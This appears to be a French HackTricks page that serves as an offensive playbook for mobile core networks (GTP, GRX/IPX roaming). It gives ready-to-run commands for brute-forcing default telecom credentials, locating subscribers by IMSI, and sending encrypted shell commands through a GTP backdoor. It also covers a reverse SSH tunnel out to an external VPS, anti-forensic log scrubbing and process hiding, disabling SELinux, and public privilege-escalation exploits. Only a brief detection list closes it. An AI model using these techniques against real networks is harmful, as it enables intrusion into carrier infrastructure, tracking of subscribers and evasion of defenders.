Exploitation des Réseaux Télécom (GTP / Environnements de Roaming)

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

note

Les protocoles de cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des infrastructures de roaming GRX/IPX semi-fiables. Comme ils fonctionnent sur UDP simple avec presque aucune authentification, tout point d'accès à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation de base. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.

1. Reconnaissance & Accès Initial

1.1 Comptes OSS / NE par Défaut

Un ensemble étonnamment large d'éléments de réseau de fournisseurs est livré avec des utilisateurs SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Une liste de mots dédiée augmente considérablement le succès des attaques par force brute :

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si l'appareil n'expose qu'un VRF de gestion, pivotez d'abord via un hôte de saut (voir la section «SGSN Emu Tunnel» ci-dessous).

1.2 Découverte d'hôtes à l'intérieur de GRX/IPX

La plupart des opérateurs GRX permettent encore ICMP echo à travers le backbone. Combinez masscan avec les sondes UDP gtpv1 intégrées pour cartographier rapidement les écouteurs GTP-C :

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Énumération des abonnés – cordscan

L'outil Go suivant crée des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel servant l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Drapeaux clés :

  • --imsi IMSI de l'abonné cible
  • --oper Foyer / HNI (MCC+MNC)
  • -w Écrire des paquets bruts dans pcap

Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les analyses :

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Exécution de code via GTP – GTPDoor

GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque la charge utile commence par une balise pré-partagée, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Les stdout/stderr sont exfiltrés à l'intérieur des messages Echo Response afin qu'aucune session externe ne soit jamais créée.

Paquet PoC minimal (Python) :

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Détection :

  • tout hôte envoyant des Echo Requests déséquilibrés aux IPs SGSN
  • le drapeau de version GTP réglé sur 1 tandis que le type de message = 1 (Echo) – déviation par rapport à la spécification

4. Pivotement à travers le cœur

4.1 sgsnemu + SOCKS5

OsmoGGSN fournit un émulateur SGSN capable de établir un contexte PDP vers un vrai GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le pair en itinérance.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Avec un hair-pinning de pare-feu approprié, ce tunnel contourne les VLANs uniquement de signalisation et vous amène directement dans le data plane.

4.2 Tunnel SSH inversé sur le port 53

Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne à votre VPS écoutant sur :53 et revenez plus tard de chez vous :

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Vérifiez que GatewayPorts yes est activé sur le VPS.

5. Canaux Clandestins

CanalTransportDécodageRemarques
ICMP – EchoBackdoorICMP Echo Req/Repclé de 4 octets + morceaux de 14 octets (XOR)écouteur passif pur, pas de trafic sortant
DNS – NoDepDNSUDP 53XOR (clé = funnyAndHappy) encodé dans les octets d'enregistrement Asurveille le sous-domaine *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC dans IE privése mélange avec le bruit légitime de GTP-C

Tous les implants mettent en œuvre des surveillants qui timestomp leurs binaires et se réactivent s'ils plantent.

6. Feuille de Triche pour l'Évasion de Défense

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Élévation de privilèges sur les NE hérités

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Conseil de nettoyage :

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Boîte à outils

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – outils personnalisés décrits dans les sections précédentes.
  • FScan : balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : WPAD malveillant LLMNR/NBT-NS
  • Microsocks + ProxyChains : pivotement SOCKS5 léger
  • FRP (≥0.37) : traversée NAT / pontage d'actifs

Idées de détection

  1. Tout appareil autre qu'un SGSN/GGSN établissant des demandes de création de contexte PDP.
  2. Ports non standards (53, 80, 443) recevant des poignées de main SSH provenant d'IP internes.
  3. Demandes Echo fréquentes sans réponses Echo correspondantes – pourraient indiquer des balises GTPDoor.
  4. Taux élevé de trafic de réponse ICMP echo avec de grands champs d'identifiant/séquence non nuls.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks